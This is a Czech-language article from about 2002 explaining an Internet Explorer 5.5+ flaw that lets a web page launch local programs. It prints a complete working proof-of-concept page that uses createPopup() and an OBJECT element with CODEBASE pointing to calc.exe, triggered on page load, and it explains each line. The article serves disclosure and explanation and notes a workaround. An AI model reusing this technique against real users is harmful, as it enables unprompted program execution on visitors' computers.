Dokáže webová stránka spustit program z vašeho počítače? Ukážeme vám, že ANO!
Načtete ve svém browseru webovou stránku ze serveru a spustí se program z vašeho počítače. Pohádka? Nikoli! Jestliže máte MS Internet Explorer 5.5 nebo vyšší, můžete si to na vlastní oči vyzkoušet zde - po otevření stránky se spustí aplikace Kalkulačka. Jistě není těžké domyslet, jaké jiné aplikace by se daly tímto způsobem spouštět... Informace o této chybě nalezené 10. ledna 2002 jsou k nalezení na serveru www.osioniusx.com, kde si můžete zkusit spouštění aplikací a otevírání složek klikáním na odkazy.
Jde o to, že "vyskakovací" okno umožňuje vložení objektů z nichž lze následně spouštět lokální aplikace parametrem codebase. K vyvolání programu je nutné znát jeho přesné umístění, které bývá na většině instalovaných systémů stejné (pokud uživatel sám nezmění lokaci systémové složky).
Objevitel Dave Ahmad informoval o nalezené chybě Microsoft, nicméně ten se zatím nevyjádřil a nevydal žádnou záplatu. Prozatímním řešením může být vypnutí aktivního skriptování nebo použití jiného prohlížeče.
Jak to funguje?
V naší ukázkové stránce jsme použili část skriptu, kterým na serveru Osionusx demonstrují otevírání programů.Stránka začíná standardní hlavičkou:
<HTML>
<HEAD>
<TITLE>Otevření programu kalkulačka</TITLE>
Následuje definice jazyka skriptu:
<SCRIPT LANGUAGE="JavaScript">
Deklarace proměnné oPopup využívá metodu createPopup() objektu window, což je rozšíření MS Internet Exploreru 5.5 a vyššího (nejedná se tedy o standardní JavaScript a metoda není podporována všemi prohlížeči). Takto vytvořené okno není zobrazeno (zobrazení se dá dosáhnout metodou show). Další informace o této metodě najdete zde.
var oPopup = window.createPopup();
Pokračuje funkce, která do vzniklého okna vloží objekt:
function ukazka()
{
Nejprve je otevřenému oknu přiřazen objekt body:
var oPopBody = oPopup.document.body;
Do toho objektu je pak vložen samotný kód (tedy obsah vytvořeného, ale nezobrazeného okna). Jak můžete vidět, jedná se o standardní element object umožňující vkládání prakticky libovolných objektů včetně definice jakým způsobem mají být zpracovány:
oPopBody.innerHTML = '<OBJECT NAME="X" CLASSID="CLSID:11111111-1111-1111-1111-111111111111" CODEBASE="c:/windows/calc.exe"></OBJECT><OBJECT NAME="X" CLASSID="CLSID:11111111-1111-1111-1111-111111111111" CODEBASE="c:/winnt/system32/calc.exe"></OBJECT>';
Skript je ukončen a pokračuje standardní HTML dokument.
}
</SCRIPT>
</HEAD>
<BODY onload="ukazka()">
Otevření programu kalkulačka
</BODY>
</HTML>
Parametr onload pak při načítání těla stránky vyvolá výše uvedenou funkci ukazka a ta provede vše ostatní - tedy otevře nové okno, vloží do něj objekt a přes tento objekt spustí program Kalkulačka. Funkci lze samozřejmě vyvolat i dalšími metodami - například kliknutím myší nebo uzavřením okna prohlížeče. Tato má výhodu, že nevyžaduje od uživatele žádnou jinou aktivitu, než pouhé otevření stránky.
Jistě bude zajímavé sledovat, jak se k celé věci postaví Microsoft a jak této bezpečnostní chyby využijí například programátoři virů. Stejně jako Internet Explorer se totiž chovají všechny aplikace využívající jeho jádro (tedy i nejčastěji používané e-mailové programy Outlook Express a Outlook) a odtud je jen krůček k dalšímu zneužití pro škodlivé programy. |